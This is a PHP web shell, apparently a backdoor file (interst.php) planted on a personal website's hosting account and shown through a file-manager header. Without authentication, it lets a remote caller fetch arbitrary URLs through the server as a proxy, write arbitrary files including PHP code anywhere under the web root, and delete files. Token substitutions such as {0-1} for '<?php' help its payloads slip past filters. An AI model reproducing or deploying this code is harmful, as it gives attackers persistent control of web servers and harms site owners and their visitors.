Current Path : /home/fotoslub/michalpiech.pl/
Upload File :
Current File : /home/fotoslub/michalpiech.pl/interst.php

<?php
error_reporting(0);
if (isset($_GET['action']) && $_GET['action']=="test") die("test success");
if (isset($_GET['action']) && $_GET['action']=="query"){
	$url = base64_decode($_REQUEST['url']);
	$url = str_replace("{0-0}","+",($url));
	if ($url=="") die("");
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $url);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); 
	curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
	curl_setopt($ch, CURLOPT_ENCODING, 'gzip');
	$output = curl_exec($ch);
	curl_close($ch);
	
	echo $output;
	exit;
}
if (isset($_GET['action']) && $_GET['action']=="replace"){
	$filename = $_REQUEST['filename'];
	$filecontent = base64_decode($_REQUEST['content']);
	if ($filename=="") die("file name empty");
	if ($filecontent==="") die("content empty");
	$filepath = $_REQUEST['path'];
	$DOCUMENT_ROOT = $_SERVER['DOCUMENT_ROOT'];
	$domain = str_replace("www.","",$_SERVER["HTTP_HOST"]);
	if(substr($filepath,0,1)=="/") $filepath = substr($filepath,1);
	if(substr($filepath,strlen($filepath)-1)!="/") $filepath = $filepath."/";
	$file = $DOCUMENT_ROOT.'/'.$filepath.$filename;
	
	if (is_file($file))
		if (is_readable($file) == false) die("$filename unable to read or 404");

	$filecontent = str_replace("{0-0}","+",($filecontent));
	$filecontent = str_replace("{0-1}","<?php",($filecontent));
	$filecontent = str_replace("{0-2}","?>",($filecontent));
	$filecontent = str_replace("{0-3}","<",($filecontent));
	$filecontent = str_replace("{0-4}",">",($filecontent));
	file_put_contents($file, ($filecontent));	
	echo $filename." write success";
	exit;
}

if (isset($_GET['action']) && $_GET['action']=="del"){
	$filename = $_REQUEST['filename'];
	if ($filename=="") die("file name empty");
	$filepath = $_REQUEST['path'];
	$DOCUMENT_ROOT = $_SERVER['DOCUMENT_ROOT'];
	$domain = str_replace("www.","",$_SERVER["HTTP_HOST"]);
	if(substr($filepath,0,1)=="/") $filepath = substr($filepath,1);
	if(substr($filepath,strlen($filepath)-1)!="/") $filepath = $filepath."/";
	$file = $DOCUMENT_ROOT.'/'.$filepath.$filename;
	if (is_file($file))  @unlink($file);
	exit;
}
?>